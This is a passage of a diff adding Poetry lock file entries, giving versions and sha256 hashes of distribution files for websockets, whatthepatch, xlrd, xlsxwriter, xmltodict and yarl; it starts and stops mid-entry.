"sha256:cf1781ef73c073e6b0f90af841aaf98501f975d306bbf6221683dd594ccc52b6"}, + {file = "websockets-13.1-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8d23b88b9388ed85c6faf0e74d8dec4f4d3baf3ecf20a65a47b836d56260d4b9"}, + {file = "websockets-13.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3c78383585f47ccb0fcf186dcb8a43f5438bd7d8f47d69e0b56f71bf431a0a68"}, + {file = "websockets-13.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:d6d300f8ec35c24025ceb9b9019ae9040c1ab2f01cddc2bcc0b518af31c75c14"}, + {file = "websockets-13.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:a9dcaf8b0cc72a392760bb8755922c03e17a5a54e08cca58e8b74f6902b433cf"}, + {file = "websockets-13.1-cp312-cp312-win32.whl", hash = "sha256:2f85cf4f2a1ba8f602298a853cec8526c2ca42a9a4b947ec236eaedb8f2dc80c"}, + {file = "websockets-13.1-cp312-cp312-win_amd64.whl", hash = "sha256:38377f8b0cdeee97c552d20cf1865695fcd56aba155ad1b4ca8779a5b6ef4ac3"}, + {file = "websockets-13.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:a9ab1e71d3d2e54a0aa646ab6d4eebfaa5f416fe78dfe4da2839525dc5d765c6"}, + {file = "websockets-13.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:b9d7439d7fab4dce00570bb906875734df13d9faa4b48e261c440a5fec6d9708"}, + {file = "websockets-13.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:327b74e915cf13c5931334c61e1a41040e365d380f812513a255aa804b183418"}, + {file = "websockets-13.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:325b1ccdbf5e5725fdcb1b0e9ad4d2545056479d0eee392c291c1bf76206435a"}, + {file = "websockets-13.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:346bee67a65f189e0e33f520f253d5147ab76ae42493804319b5716e46dddf0f"}, + {file = "websockets-13.1-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:91a0fa841646320ec0d3accdff5b757b06e2e5c86ba32af2e0815c96c7a603c5"}, + {file = "websockets-13.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:18503d2c5f3943e93819238bf20df71982d193f73dcecd26c94514f417f6b135"}, + {file = "websockets-13.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:a9cd1af7e18e5221d2878378fbc287a14cd527fdd5939ed56a18df8a31136bb2"}, + {file = "websockets-13.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:70c5be9f416aa72aab7a2a76c90ae0a4fe2755c1816c153c1a2bcc3333ce4ce6"}, + {file = "websockets-13.1-cp313-cp313-win32.whl", hash = "sha256:624459daabeb310d3815b276c1adef475b3e6804abaf2d9d2c061c319f7f187d"}, + {file = "websockets-13.1-cp313-cp313-win_amd64.whl", hash = "sha256:c518e84bb59c2baae725accd355c8dc517b4a3ed8db88b4bc93c78dae2974bf2"}, + {file = "websockets-13.1-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:c7934fd0e920e70468e676fe7f1b7261c1efa0d6c037c6722278ca0228ad9d0d"}, + {file = "websockets-13.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:149e622dc48c10ccc3d2760e5f36753db9cacf3ad7bc7bbbfd7d9c819e286f23"}, + {file = "websockets-13.1-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:a569eb1b05d72f9bce2ebd28a1ce2054311b66677fcd46cf36204ad23acead8c"}, + {file = "websockets-13.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:95df24ca1e1bd93bbca51d94dd049a984609687cb2fb08a7f2c56ac84e9816ea"}, + {file = "websockets-13.1-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d8dbb1bf0c0a4ae8b40bdc9be7f644e2f3fb4e8a9aca7145bfa510d4a374eeb7"}, + {file = "websockets-13.1-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:035233b7531fb92a76beefcbf479504db8c72eb3bff41da55aecce3a0f729e54"}, + {file = "websockets-13.1-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:e4450fc83a3df53dec45922b576e91e94f5578d06436871dce3a6be38e40f5db"}, + {file = "websockets-13.1-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:463e1c6ec853202dd3657f156123d6b4dad0c546ea2e2e38be2b3f7c5b8e7295"}, + {file = "websockets-13.1-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:6d6855bbe70119872c05107e38fbc7f96b1d8cb047d95c2c50869a46c65a8e96"}, + {file = "websockets-13.1-cp38-cp38-win32.whl", hash = "sha256:204e5107f43095012b00f1451374693267adbb832d29966a01ecc4ce1db26faf"}, + {file = "websockets-13.1-cp38-cp38-win_amd64.whl", hash = "sha256:485307243237328c022bc908b90e4457d0daa8b5cf4b3723fd3c4a8012fce4c6"}, + {file = "websockets-13.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:9b37c184f8b976f0c0a231a5f3d6efe10807d41ccbe4488df8c74174805eea7d"}, + {file = "websockets-13.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:163e7277e1a0bd9fb3c8842a71661ad19c6aa7bb3d6678dc7f89b17fbcc4aeb7"}, + {file = "websockets-13.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:4b889dbd1342820cc210ba44307cf75ae5f2f96226c0038094455a96e64fb07a"}, + {file = "websockets-13.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:586a356928692c1fed0eca68b4d1c2cbbd1ca2acf2ac7e7ebd3b9052582deefa"}, + {file = "websockets-13.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7bd6abf1e070a6b72bfeb71049d6ad286852e285f146682bf30d0296f5fbadfa"}, + {file = "websockets-13.1-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6d2aad13a200e5934f5a6767492fb07151e1de1d6079c003ab31e1823733ae79"}, + {file = "websockets-13.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:df01aea34b6e9e33572c35cd16bae5a47785e7d5c8cb2b54b2acdb9678315a17"}, + {file = "websockets-13.1-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:e54affdeb21026329fb0744ad187cf812f7d3c2aa702a5edb562b325191fcab6"}, + {file = "websockets-13.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:9ef8aa8bdbac47f4968a5d66462a2a0935d044bf35c0e5a8af152d58516dbeb5"}, + {file = "websockets-13.1-cp39-cp39-win32.whl", hash = "sha256:deeb929efe52bed518f6eb2ddc00cc496366a14c726005726ad62c2dd9017a3c"}, + {file = "websockets-13.1-cp39-cp39-win_amd64.whl", hash = "sha256:7c65ffa900e7cc958cd088b9a9157a8141c991f8c53d11087e6fb7277a03f81d"}, + {file = "websockets-13.1-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:5dd6da9bec02735931fccec99d97c29f47cc61f644264eb995ad6c0c27667238"}, + {file = "websockets-13.1-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:2510c09d8e8df777177ee3d40cd35450dc169a81e747455cc4197e63f7e7bfe5"}, + {file = "websockets-13.1-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f1c3cf67185543730888b20682fb186fc8d0fa6f07ccc3ef4390831ab4b388d9"}, + {file = "websockets-13.1-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bcc03c8b72267e97b49149e4863d57c2d77f13fae12066622dc78fe322490fe6"}, + {file = "websockets-13.1-pp310-pypy310_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:004280a140f220c812e65f36944a9ca92d766b6cc4560be652a0a3883a79ed8a"}, + {file = "websockets-13.1-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:e2620453c075abeb0daa949a292e19f56de518988e079c36478bacf9546ced23"}, + {file = "websockets-13.1-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:9156c45750b37337f7b0b00e6248991a047be4aa44554c9886fe6bdd605aab3b"}, + {file = "websockets-13.1-pp38-pypy38_pp73-macosx_11_0_arm64.whl", hash = "sha256:80c421e07973a89fbdd93e6f2003c17d20b69010458d3a8e37fb47874bd67d51"}, + {file = "websockets-13.1-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:82d0ba76371769d6a4e56f7e83bb8e81846d17a6190971e38b5de108bde9b0d7"}, + {file = "websockets-13.1-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e9875a0143f07d74dc5e1ded1c4581f0d9f7ab86c78994e2ed9e95050073c94d"}, + {file = "websockets-13.1-pp38-pypy38_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a11e38ad8922c7961447f35c7b17bffa15de4d17c70abd07bfbe12d6faa3e027"}, + {file = "websockets-13.1-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:4059f790b6ae8768471cddb65d3c4fe4792b0ab48e154c9f0a04cefaabcd5978"}, + {file = "websockets-13.1-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:25c35bf84bf7c7369d247f0b8cfa157f989862c49104c5cf85cb5436a641d93e"}, + {file = "websockets-13.1-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:83f91d8a9bb404b8c2c41a707ac7f7f75b9442a0a876df295de27251a856ad09"}, + {file = "websockets-13.1-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7a43cfdcddd07f4ca2b1afb459824dd3c6d53a51410636a2c7fc97b9a8cf4842"}, + {file = "websockets-13.1-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:48a2ef1381632a2f0cb4efeff34efa97901c9fbc118e01951ad7cfc10601a9bb"}, + {file = "websockets-13.1-pp39-pypy39_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:459bf774c754c35dbb487360b12c5727adab887f1622b8aed5755880a21c4a20"}, + {file = "websockets-13.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:95858ca14a9f6fa8413d29e0a585b31b278388aa775b8a81fa24830123874678"}, + {file = "websockets-13.1-py3-none-any.whl", hash = "sha256:a9a396a6ad26130cdae92ae10c36af09d9bfe6cafe69670fd3b6da9b07b4044f"}, + {file = "websockets-13.1.tar.gz", hash = "sha256:a3b3366087c1bc0a2795111edcadddb8b3b59509d5db5d7ea3fdd69f954a8878"}, +] + +[[package]] +name = "whatthepatch" +version = "1.0.7" +description = "A patch parsing and application library." +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "whatthepatch-1.0.7-py3-none-any.whl", hash = "sha256:1b6f655fd31091c001c209529dfaabbabdbad438f5de14e3951266ea0fc6e7ed"}, + {file = "whatthepatch-1.0.7.tar.gz", hash = "sha256:9eefb4ebea5200408e02d413d2b4bc28daea6b78bb4b4d53431af7245f7d7edf"}, +] + +[[package]] +name = "xlrd" +version = "2.0.2" +description = "Library for developers to extract data from Microsoft Excel (tm) .xls spreadsheet files" +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7" +groups = ["main"] +files = [ + {file = "xlrd-2.0.2-py2.py3-none-any.whl", hash = "sha256:ea762c3d29f4cca48d82df517b6d89fbce4db3107f9d78713e48cd321d5c9aa9"}, + {file = "xlrd-2.0.2.tar.gz", hash = "sha256:08b5e25de58f21ce71dc7db3b3b8106c1fa776f3024c54e45b45b374e89234c9"}, +] + +[package.extras] +build = ["twine", "wheel"] +docs = ["sphinx"] +test = ["pytest", "pytest-cov"] + +[[package]] +name = "xlsxwriter" +version = "3.2.5" +description = "A Python module for creating Excel XLSX files." +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "xlsxwriter-3.2.5-py3-none-any.whl", hash = "sha256:4f4824234e1eaf9d95df9a8fe974585ff91d0f5e3d3f12ace5b71e443c1c6abd"}, + {file = "xlsxwriter-3.2.5.tar.gz", hash = "sha256:7e88469d607cdc920151c0ab3ce9cf1a83992d4b7bc730c5ffdd1a12115a7dbe"}, +] + +[[package]] +name = "xmltodict" +version = "0.13.0" +description = "Makes working with XML feel like you are working with JSON" +optional = false +python-versions = ">=3.4" +groups = ["main"] +files = [ + {file = "xmltodict-0.13.0-py2.py3-none-any.whl", hash = "sha256:aa89e8fd76320154a40d19a0df04a4695fb9dc5ba977cbb68ab3e4eb225e7852"}, + {file = "xmltodict-0.13.0.tar.gz", hash = "sha256:341595a488e3e01a85a9d8911d8912fd922ede5fecc4dce437eb4b6c8d037e56"}, +] + +[[package]] +name = "yarl" +version = "1.20.1" +description = "Yet another URL library" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "yarl-1.20.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:6032e6da6abd41e4acda34d75a816012717000fa6839f37124a47fcefc49bec4"}, + {file = "yarl-1.20.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:2c7b34d804b8cf9b214f05015c4fee2ebe7ed05cf581e7192c06555c71f4446a"}, + {file = "yarl-1.20.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:0c869f2651cc77465f6cd01d938d91a11d9ea5d798738c1dc077f3de0b5e5fed"}, + {file = "yarl-1.20.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:62915e6688eb4d180d93840cda4110995ad50c459bf931b8b3775b37c264af1e"}, + {file = "yarl-1.20.1-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:41ebd28167bc6af8abb97fec1a399f412eec5fd61a3ccbe2305a18b84fb4ca73"}, + {file = "yarl-1.20.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:21242b4288a6d56f04ea193adde174b7e347ac46ce6bc84989ff7c1b1ecea84e"}, + {file = "yarl-1.20.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:bea21cdae6c7eb02ba02a475f37463abfe0a01f5d7200121b03e605d6a0439f8"}, + {file = "yarl-1.20.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1f8a891e4a22a89f5dde7862994485e19db246b70bb288d3ce73a34422e55b23"}, + {file = "yarl-1.20.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:dd803820d44c8853a109a34e3660e5a61beae12970da479cf44aa2954019bf70"}, + {file = "yarl-1.20.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:b982fa7f74c80d5c0c7b5b38f908971e513380a10fecea528091405f519b9ebb"}, + {file = "yarl-1.20.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:33f29ecfe0330c570d997bcf1afd304377f2e48f61447f37e846a6058a4d33b2"}, + {file = "yarl-1.20.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:835ab2cfc74d5eb4a6a528c57f05688099da41cf4957cf08cad38647e4a83b30"}, + {file = "yarl-1.20.1-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:46b5e0ccf1943a9a6e766b2c2b8c732c55b34e28be57d8daa2b3c1d1d4009309"}, + {file = "yarl-1.20.1-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:df47c55f7d74127d1b11251fe6397d84afdde0d53b90bedb46a23c0e534f9d24"}, + {file = "yarl-1.20.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:76d12524d05841276b0e22573f28d5fbcb67589836772ae9244d90dd7d66aa13"}, + {file = "yarl-1.20.1-cp310-cp310-win32.whl", hash = "sha256:6c4fbf6b02d70e512d7ade4b1f998f237137f1417ab07ec06358ea04f69134f8"}, + {file = "yarl-1.20.1-cp310-cp310-win_amd64.whl", hash = "sha256:aef6c4d69554d44b7f9d923245f8ad9a707d971e6209d51279196d8e8fe1ae16"}, + {file = "yarl-1.20.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:47ee6188fea634bdfaeb2cc420f5b3b17332e6225ce88149a17c413c77ff269e"}, + {file = "yarl-1.20.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d0f6500f69e8402d513e5eedb77a4e1818691e8f45e6b687147963514d84b44b"}, + {file = "yarl-1.20.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:7a8900a42fcdaad568de58887c7b2f602962356908eedb7628eaf6021a6e435b"}, + {file = "yarl-1.20.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bad6d131fda8ef508b36be3ece16d0902e80b88ea7200f030a0f6c11d9e508d4"}, + {file = "yarl-1.20.1-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:df018d92fe22aaebb679a7f89fe0c0f368ec497e3dda6cb81a567610f04501f1"}, + {file = "yarl-1.20.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8f969afbb0a9b63c18d0feecf0db09d164b7a44a053e78a7d05f5df163e43833"}, + {file = "yarl-1.20.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:812303eb4aa98e302886ccda58d6b099e3576b1b9276161469c25803a8db277d"}, + {file = "yarl-1.20.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:98c4a7d166635147924aa0bf9bfe8d8abad6fffa6102de9c99ea04a1376f91e8"}, + {file = "yarl-1.20.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:12e768f966538e81e6e7550f9086a6236b16e26cd964cf4df35349970f3551cf"}, + {file = "yarl-1.20.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:fe41919b9d899661c5c28a8b4b0acf704510b88f27f0934ac7a7bebdd8938d5e"}, + {file = "yarl-1.20.1-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:8601bc010d1d7780592f3fc1bdc6c72e2b6466ea34569778422943e1a1f3c389"}, + {file = "yarl-1.20.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:daadbdc1f2a9033a2399c42646fbd46da7992e868a5fe9513860122d7fe7a73f"}, + {file = "yarl-1.20.1-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:03aa1e041727cb438ca762628109ef1333498b122e4c76dd858d186a37cec845"}, + {file = "yarl-1.20.1-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:642980ef5e0fa1de5fa96d905c7e00cb2c47cb468bfcac5a18c58e27dbf8d8d1"}, + {file = "yarl-1.20.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:86971e2795584fe8c002356d3b97ef6c61862720eeff03db2a7c86b678d85b3e"}, + {file = "yarl-1.20.1-cp311-cp311-win32.whl", hash = "sha256:597f40615b8d25812f14562699e287f0dcc035d25eb74da72cae043bb884d773"}, + {file = "yarl-1.20.1-cp311-cp311-win_amd64.whl", hash = "sha256:26ef53a9e726e61e9cd1cda6b478f17e350fb5800b4bd1cd9fe81c4d91cfeb2e"}, + {file = "yarl-1.20.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:bdcc4cd244e58593a4379fe60fdee5ac0331f8eb70320a24d591a3be197b94a9"}, + {file = "yarl-1.20.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:b29a2c385a5f5b9c7d9347e5812b6f7ab267193c62d282a540b4fc528c8a9d2a"}, + {file = "yarl-1.20.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1112ae8154186dfe2de4732197f59c05a83dc814849a5ced892b708033f40dc2"}, + {file = "yarl-1.20.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:90bbd29c4fe234233f7fa2b9b121fb63c321830e5d05b45153a2ca68f7d310ee"}, + {file = "yarl-1.20.1-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:680e19c7ce3710ac4cd964e90dad99bf9b5029372ba0c7cbfcd55e54d90ea819"}, + {file = "yarl-1.20.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4a979218c1fdb4246a05efc2cc23859d47c89af463a90b99b7c56094daf25a16"}, + {file = "yarl-1.20.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:255b468adf57b4a7b65d8aad5b5138dce6a0752c139965711bdcb81bc370e1b6"}, + {file = "yarl-1.20.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a97d67108e79cfe22e2b430d80d7571ae57d19f17cda8bb967057ca8a7bf5bfd"}, + {file = "yarl-1.20.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8570d998db4ddbfb9a590b185a0a33dbf8aafb831d07a5257b4ec9948df9cb0a"}, + {file = "yarl-1.20.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:97c75596019baae7c71ccf1d8cc4738bc08134060d0adfcbe5642f778d1dca38"}, + {file = "yarl-1.20.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:1c48912653e63aef91ff988c5432832692ac5a1d8f0fb8a33091520b5bbe19ef"}, + {file = "yarl-1.20.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:4c3ae28f3ae1563c50f3d37f064ddb1511ecc1d5584e88c6b7c63cf7702a6d5f"}, + {file = "yarl-1.20.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:c5e9642f27036283550f5f57dc6156c51084b458570b9d0d96100c8bebb186a8"}, + {file = "yarl-1.20.1-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:2c26b0c49220d5799f7b22c6838409ee9bc58ee5c95361a4d7831f03cc225b5a"}, + {file = "yarl-1.20.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:564ab3d517e3d01c408c67f2e5247aad4019dcf1969982aba3974b4093279004"}, + {file = "yarl-1.20.1-cp312-cp312-win32.whl", hash = "sha256:daea0d313868da1cf2fac6b2d3a25c6e3a9e879483244be38c8e6a41f1d876a5"}, + {file = "yarl-1.20.1-cp312-cp312-win_amd64.whl", hash = "sha256:48ea7d7f9be0487339828a4de0360d7ce0efc06524a48e1810f945c45b813698"}, + {file = "yarl-1.20.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:0b5ff0fbb7c9f1b1b5ab53330acbfc5247893069e7716840c8e7d5bb7355038a"}, + {file = "yarl-1.20.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:14f326acd845c2b2e2eb38fb1346c94f7f3b01a4f5c788f8144f9b630bfff9a3"}, + {file = "yarl-1.20.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f60e4ad5db23f0b96e49c018596707c3ae89f5d0bd97f0ad3684bcbad899f1e7"}, + {file = "yarl-1.20.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:49bdd1b8e00ce57e68ba51916e4bb04461746e794e7c4d4bbc42ba2f18297691"}, + {file = "yarl-1.20.1-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:66252d780b45189975abfed839616e8fd2dbacbdc262105ad7742c6ae58f3e31"}, + {file = "yarl-1.20.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:59174e7332f5d153d8f7452a102b103e2e74035ad085f404df2e40e663a22b28"}, + {file = "yarl-1.20.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e3968ec7d92a0c0f9ac34d5ecfd03869ec0cab0697c91a45db3fbbd95fe1b653"}, + {file = "yarl-1.20.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d1a4fbb50e14396ba3d375f68bfe02215d8e7bc3ec49da8341fe3157f59d2ff5"}, + {file = "yarl-1.20.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:11a62c839c3a8eac2410e951301309426f368388ff2f33799052787035793b02"}, + {file = "yarl-1.20.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:041eaa14f73ff5a8986b4388ac6bb43a77f2ea09bf1913df7a35d4646db69e53"}, + {file = "yarl-1.20.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:377fae2fef158e8fd9d60b4c8751387b8d1fb121d3d0b8e9b0be07d1b41e83dc"}, + {file = "yarl-1.20.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:1c92f4390e407513f619d49319023664643d3339bd5e5a56a3bebe01bc67ec04"}, + {file = "yarl-1.20.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:d25ddcf954df1754ab0f86bb696af765c5bfaba39b74095f27eececa049ef9a4"}, + {file = "yarl-1.20.1-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:909313577e9619dcff8c31a0ea2aa0a2a828341d92673015456b3ae492e7317b"}, + {file = "yarl-1.20.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:793fd0580cb9664548c6b83c63b43c477212c0260891ddf86809e1c06c8b08f1"}, + {file = "yarl-1.20.1-cp313-cp313-win32.whl", hash = "sha256:468f6e40285de5a5b3c44981ca3a319a4b208ccc07d526b20b12aeedcfa654b7"}, + {file = "yarl-1.20.1-cp313-cp313-win_amd64.whl", hash = "sha256:495b4ef2fea40596bfc0affe3837411d6aa3371abcf31aac0ccc4bdd64d4ef5c"}, + {file = "yarl-1.20.1-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:f60233b98423aab21d249a30eb27c389c14929f47be8430efa7dbd91493a729d"}, + {file = "yarl-1.20.1-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:6f3eff4cc3f03d650d8755c6eefc844edde99d641d0dcf4da3ab27141a5f8ddf"}, + {file = "yarl-1.20.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:69ff8439d8ba832d6bed88af2c2b3445977eba9a4588b787b32945871c2444e3"}, + {file = "yarl-1.20.1-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3cf34efa60eb81dd2645a2e13e00bb98b76c35ab5061a3989c7a70f78c85006d"}, + {file = "yarl-1.20.1-cp313-cp313t-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:8e0fe9364ad0fddab2688ce72cb7a8e61ea42eff3c7caeeb83874a5d479c896c"}, + {file = "yarl-1.20.1-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8f64fbf81878ba914562c672024089e3401974a39767747691c65080a67b18c1"}, + {file = "yarl-1.20.1-cp313-cp313t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f6342d643bf9a1de97e512e45e4b9560a043347e779a173250824f8b254bd5ce"}, + {file = "yarl-1.20.1-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:56dac5f452ed25eef0f6e3c6a066c6ab68971d96a9fb441791cad0efba6140d3"}, + {file = "yarl-1.20.1-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c7d7f497126d65e2cad8dc5f97d34c27b19199b6414a40cb36b52f41b79014be"}, + {file = "yarl-1.20.1-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:67e708dfb8e78d8a19169818eeb5c7a80717562de9051bf2413aca8e3696bf16"}, + {file = "yarl-1.20.1-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:595c07bc79af2494365cc96ddeb772f76272364ef7c80fb892ef9d0649586513"}, + {file = "yarl-1.20.1-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:7bdd2f80f4a7df852ab9ab49484a4dee8030023aa536df41f2d922fd57bf023f"}, + {file = "yarl-1.20.1-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:c03bfebc4ae8d862f853a9757199677ab74ec25424d0ebd68a0027e9c639a390"}, + {file = 